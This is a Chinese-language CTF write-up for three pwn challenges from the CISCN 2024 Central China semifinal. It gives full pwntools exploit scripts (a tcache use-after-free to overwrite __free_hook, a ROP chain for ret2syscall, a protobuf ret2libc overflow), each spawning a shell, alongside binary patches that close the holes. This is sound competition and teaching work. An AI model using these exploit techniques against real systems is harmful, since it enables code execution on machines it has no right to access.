[CISCN2024]华中赛区半决赛 PWN部分题解
[CISCN2024]华中半决赛 PWN部分题解
这次比赛中我攻击了2道,防御了3道
note
一道2.31堆题,保护全开,存在UAF漏洞
攻击
先填满tcache bin然后利用unsorted bin泄露libc地址,再UAF修改tcache的fd指针为free_hook,再将system函数的地址写入free_hook,最后触发free函数getshell即可
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
#p = remote('8.147.133.173', 19426)
p = process("./pwn")
#elf = ELF('./pwn')
libc=ELF("./libc.so.6")
def add(size,c):
rl("5. exit\n")
sl(str(1))
rl("The size of your content: \n")
sl(str(size))
rl("content: \n")
s(c)
def edit(idx,size,c):
rl("5. exit\n")
sl(str(2))
rl("index: ")
sl(str(idx))
rl("The size of your content: \n")
sl(str(size))
rl("Content: \n")
s(c)
def free(idx):
rl("5. exit\n")
sl(str(3))
rl("index: ")
sl(str(idx))
def show(idx):
rl("5. exit\n")
sl(str(4))
rl("index: ")
sl(str(idx))
for i in range(10):
add(0x90,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
#debug('b *$rebase(0x15D0)')
show(7)
#libc_base=u64(rl(b'\x0a')[-7:-1].ljust(8, b'\x00'))-libc.sym['__malloc_hook']-96-0x10
libc_base = get_addr()-libc.sym['__malloc_hook']-96-0x10
lg("libcbase",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()
edit(6,0x90,p64(free_hook))
#debug('b *$rebase(0x1370)')
add(0x90,b'a')
add(0x90,p64(system))
free(9)
inter()
防御
这里我将删除功能里的call free直接nop掉,防御成功
go_note
一道go的菜单题,一开始还以为是go heap想直接放弃的(看到go就想吐
但之后仔细看一下发现就是栈溢出,漏洞点在edit功能
str = content.str;
for ( j = 0LL; j < content.len; ++j )
{
*(_BYTE *)v8 = *str;
v8 = (__int128 *)((char *)v8 + 1);
++str;
}
攻击
调试看一下溢出偏移,然后ret2syscall就行
这里要提一嘴,找gadget有点麻烦,要用--depth参数增加搜索深度,然后选择一些不影响参数寄存器的gadget来用
ROPgadget --binary ./note --only "pop|ret|add|mov|xor" --depth 30 |grep "pop rsi"
exp
from pwn import *
p = process('./note')
rax=0x000000000040fbdd #pop rax; pop rbp; ret;
rdx=0x000000000047a8fa #pop rdx ; ret
rdi=0x0000000000462498 #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
rsi=0x0000000000462552 #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret;
syscall=0x000000000045e0a9
bss=0x526680+0x1000
p.recvuntil("choice > ")
p.sendline(str(1))
p.recvuntil("note content: ")
p.sendline(b'a')
payload=b'a'*(0x40)+p64(rdi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0x100)+p64(syscall)
payload+=p64(rdi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)*2
p.recvuntil("choice > ")
p.sendline(str(3))
p.recvuntil("Please input note id:")
p.sendline(str(1))
p.recvuntil("Please input new content:")
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
防御
这里我是直接把*(_BYTE *)v8 = *str;
这条语句nop掉了,对应000000000047F3DF mov [r12], r13b
这条指令
protoverflow
一道简单的protobuf栈溢出题,比赛的时候因为工具出了点问题导致没能打出来,但防御成功了
赛后自己再重新做了一遍,懒得patch libc,就直接用本机的libc打了(
攻击
漏洞就在memcpy那里
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
import message_pb2
context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
elf_patch = './pwn'
p = process([elf_patch], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(elf_patch)
libc = ELF(p.libc.path)
# debug('b *$rebase(0x332f)')
rl(b'0x')
libc_base = int(r(12), 16) - libc.sym['puts']
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()
pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
s(serialized_msg)
lg('libc_base', libc_base)
inter()
防御
将memcpy的size参数改成0x200即可,因为设置该参数的汇编指令mov edx, [rbp-0Ch]
只有三个字节的长度,但mov edx,0x200
有五个字节,所以不能在原指令上直接修改,这里考虑跳转到eh_frame段(在eh_frame段里随便找个看着顺眼的地址)
如果用CE写过汇编脚本,那下面这个应该更好理解
0x0331B:
jmp eh_frame
nop ;nop来补齐六个字节
eh_frame:
mov edx,0x200 ;设置size参数为0x200
mov rcx, [rbp-8] ;还原被覆盖的指令
jmp 0x3322 ;跳转回去